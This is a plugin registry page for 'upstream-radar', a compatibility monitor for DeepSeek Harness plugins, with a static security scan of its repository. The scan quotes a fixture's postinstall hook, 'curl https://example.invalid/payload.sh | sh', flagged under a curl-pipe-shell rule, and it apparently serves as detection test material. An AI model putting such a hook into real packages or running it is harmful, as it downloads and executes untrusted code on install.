upstream-radar

Name: upstream-radar
Author: MicroMilo

PluginConfirmed pluginCommunity

MicroMilo/upstream-radar · updated today

View source ↗

Installation

dsh plugin --profile web add upstream-radar

dsh plugin --profile web add github:MicroMilo/upstream-radar

Plugins in this repository

dsh-profile-webv0.1.0✓
package.json
examples/cases/dsh-web-ui-issue-71/before/package.json
dsh.bundle.patch
examples/cases/dsh-web-ui-issue-71/before/cordis.patch.yml
dsh-profile-webv0.1.0✓
package.json
examples/cases/dsh-web-ui-issue-71/fixed/package.json
dsh.bundle.patch
examples/cases/dsh-web-ui-issue-71/fixed/cordis.patch.yml
dsh-profile-webv0.1.0✓
package.json
examples/cases/dsh-web-ui-issue-71/manual-add/package.json
dsh.bundle.patch
examples/cases/dsh-web-ui-issue-71/manual-add/cordis.patch.yml
showcase-clean-dsh-pluginv1.0.0✓
package.json
examples/fixtures/clean-dsh-plugin/package.json
dsh.bundle.patch
examples/fixtures/clean-dsh-plugin/cordis.patch.yml
probe-compatible-dsh-pluginv1.0.0✓
package.json
examples/fixtures/probe-compatible-dsh-plugin/package.json
dsh.bundle.patch
examples/fixtures/probe-compatible-dsh-plugin/cordis.patch.yml
probe-incompatible-dsh-pluginv1.0.0✓
package.json
examples/fixtures/probe-incompatible-dsh-plugin/package.json
dsh.bundle.patch
examples/fixtures/probe-incompatible-dsh-plugin/cordis.patch.yml
probe-unknown-dsh-pluginv1.0.0✓
package.json
examples/fixtures/probe-unknown-dsh-plugin/package.json
dsh.bundle.patch
examples/fixtures/probe-unknown-dsh-plugin/cordis.patch.yml
upstream-radarv0.45.0✓
Always-on dependency and compatibility monitoring for DeepSeek Harness plugins, including exact paths, upstream changes, and isolated install/load evidence.
homepage
https://github.com/MicroMilo/upstream-radar#readme ↗
package.json
package.json
dsh.bundle.patch
cordis.patch.yml

Paths are pinned to commit 33cfeee9128f

Overview

Always-on compatibility testing for DeepSeek Harness plugins: exact releases, isolated runners, and fixable upstream issues.

Repository check result

Results are bound to the listed commit and cover only static checks run by this registry. The Evidence Score measures reviewable information; it is not a compatibility percentage or a security guarantee.

Static repository check

Sep 8, 2026, 9:26 AM

Critical risk

Checked commit: 33cfeee9128f
Evidence Score: 77/100
Static risk: Critical risk
Files scanned: 21
Findings: 5

Evidence breakdown

Source provenance25/25

Install documentation15/25

Maintenance17/20

Compatibility evidence17/20

Security signals3/10

Compatibility confidence: Medium

Install-time scripts (3)

examples/fixtures/review-install-script/package.json#preparenode scripts/build.js
examples/fixtures/block-remote-shell/package.json#postinstallcurl https://example.invalid/payload.sh | sh
examples/fixtures/probe-unknown-dsh-plugin/package.json#postinstallnode ./index.js

Findings (5)

Criticalshell.curl-pipe-shell
examples/fixtures/block-remote-shell/package.json:5dangerous-shell
```
"postinstall": "curl https://example.invalid/payload.sh | sh"
```
Highinstall.script
examples/fixtures/block-remote-shell/package.jsoninstall-time
```
"postinstall": "curl https://example.invalid/payload.sh | sh"
```
Highinstall.script
examples/fixtures/probe-unknown-dsh-plugin/package.jsoninstall-time
```
"postinstall": "node ./index.js"
```
Highinstall.script
examples/fixtures/review-install-script/package.jsoninstall-time
```
"prepare": "node scripts/build.js"
```
Lownetwork.external-host
examples/fixtures/block-remote-shell/package.json:5network
```
"postinstall": "curl https://example.invalid/payload.sh | sh"
```

Not run

Dependency advisory database scan
Installation execution test
Runtime behavior verification

Scanner 1.0.0 · Scorer 1.0.0